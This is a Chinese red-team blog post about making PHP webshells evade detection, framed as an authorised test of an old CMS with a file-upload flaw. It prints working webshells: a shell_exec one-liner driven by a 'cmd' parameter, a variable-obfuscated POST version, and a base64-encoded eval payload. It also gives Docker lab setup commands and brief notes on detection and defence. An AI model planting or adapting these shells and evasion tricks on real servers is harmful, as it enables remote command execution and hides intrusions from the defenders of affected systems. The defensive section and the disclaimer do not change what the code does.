0x01 真实渗透案例揭晓
在一次针对某企业的授权安全测试中,我们发现了一个尘封已久的旧版本CMS,虽然表面上看似固若金汤,但在深入挖掘后,却发现它暗藏玄机。经过信息收集,我们推测它很可能存在文件上传漏洞,而这正是我们植入Webshell的突破点。为了确保我们的Webshell不会被防御系统检测到,免杀技术便成了我们的必修课。
0x02 探秘Webshell的隐形伪装
Webshell,顾名思义,是一种通过Web服务器执行的恶意代码。它能够有效地控制服务器并执行远程命令。然而,随着防御技术的进步,传统的Webshell样式很容易被检测到。我们需要探索更为隐秘的方法来确保我们的Webshell能够成功上传并执行,而不被防御系统察觉。
Webshell的基本构造
在开始构造免杀Webshell之前,理解其基本结构非常重要。一个简单的PHP Webshell可能如下:
<pre><code class="language-php"><?php echo shell_exec($_GET['cmd']); ?></code></pre>

这一行代码通过cmd参数接收命令并执行。然而,像这样的代码通常会被现代的防御系统轻松识别。因此,我们需要对其进行伪装和混淆。
0x03 实战环境搭建
为了测试我们的免杀Webshell,我们需要在本地搭建一个类似目标的实验环境。这里我们选择使用Docker来快速部署一个模拟的脆弱CMS。
Docker环境配置
<pre><code class="language-bash"># 使用Docker拉取一个简单的php+apache环境 docker pull php:7.4-apache
启动容器并映射端口
docker run -d -p 8080:80 --name my-webshell-test php:7.4-apache
复制CMS文件到容器中
docker cp ./my_vulnerable_cms/ my-webshell-test:/var/www/html/</code></pre>
以上命令将启动一个模拟环境,在本地的8080端口运行脆弱的CMS。接下来,我们将通过这个环境进行测试。

0x04 Payload构造的艺术
在构造免杀Webshell时,我们需要通过混淆、编码以及利用逻辑漏洞等方式来绕过检测系统。
PHP代码混淆
混淆是隐藏代码意图的有效手段。以下是一个简单的混淆示例:
<pre><code class="language-php"><?php $cmd_var = 'shell_exec'; $cmd = $_POST['command']; echo $cmd_var($cmd); ?></code></pre>

通过使用变量来存储函数名,我们可以使代码更加隐蔽。同时,通过POST方式接收命令,可以避开一些针对GET请求的简单过滤。
基于编码的绕过
有时,将Webshell代码进行编码后再上传,能够绕过简单的文件内容检查。以下是base64编码的示例:
<pre><code class="language-php"><?php eval(base64_decode('c3lzdGVtKCRfUE9TVFsnY21kJ10pOw==')); // system($_POST['cmd']) ?></code></pre>
使用eval结合base64_decode可以使代码更加晦涩难懂,从而提升免杀成功率。
0x05 检测与防御的博弈
免杀是与检测系统的博弈。即使我们成功上传了Webshell,防御系统可能在执行阶段识别出异常行为。因此,了解防御机制同样重要。
常见检测机制
- 特征码识别:防御系统基于已知Webshell特征码进行检测。
- 行为分析:通过分析执行的行为是否异常来判断是否为恶意操作。
- 流量监控:异常流量或访问频率可能导致报警。
防御建议
虽然这篇文章主要探讨攻击技术,但了解防御是成功绕过的前提。以下是一些防御建议:
- 使用基于行为的防火墙,如Web Application Firewall(WAF)。
- 定期更新防御系统的特征库,确保识别最新威胁。
- 实施严格的访问控制策略,限制文件上传功能。
0x06 红队的秘密武器分享

作为一名红队攻击专家,实战经验分享是宝贵的财富。在Webshell免杀的过程中,经验和策略是成功的关键。
经验教训与策略
- 不断测试与完善代码:免杀技术没有绝对的成功,持续的测试、反馈和优化是常态。
- 跟进技术发展:时刻关注防御技术的更新,确保自己的免杀技术不过时。
- 团队合作与资源共享:在红队中,资源共享和协同合作可以提升攻击成功率。
Webshell的免杀技术不仅是技术的较量,更是思维的碰撞。在不断变化的网络安全领域,保持灵活的攻击思维和技术更新是红队取胜的关键。希望这篇文章能为你提供实战中的一些启发和帮助。记住,攻击技术的研究仅限于授权的安全测试,绝不能用于非法目的。祝好运!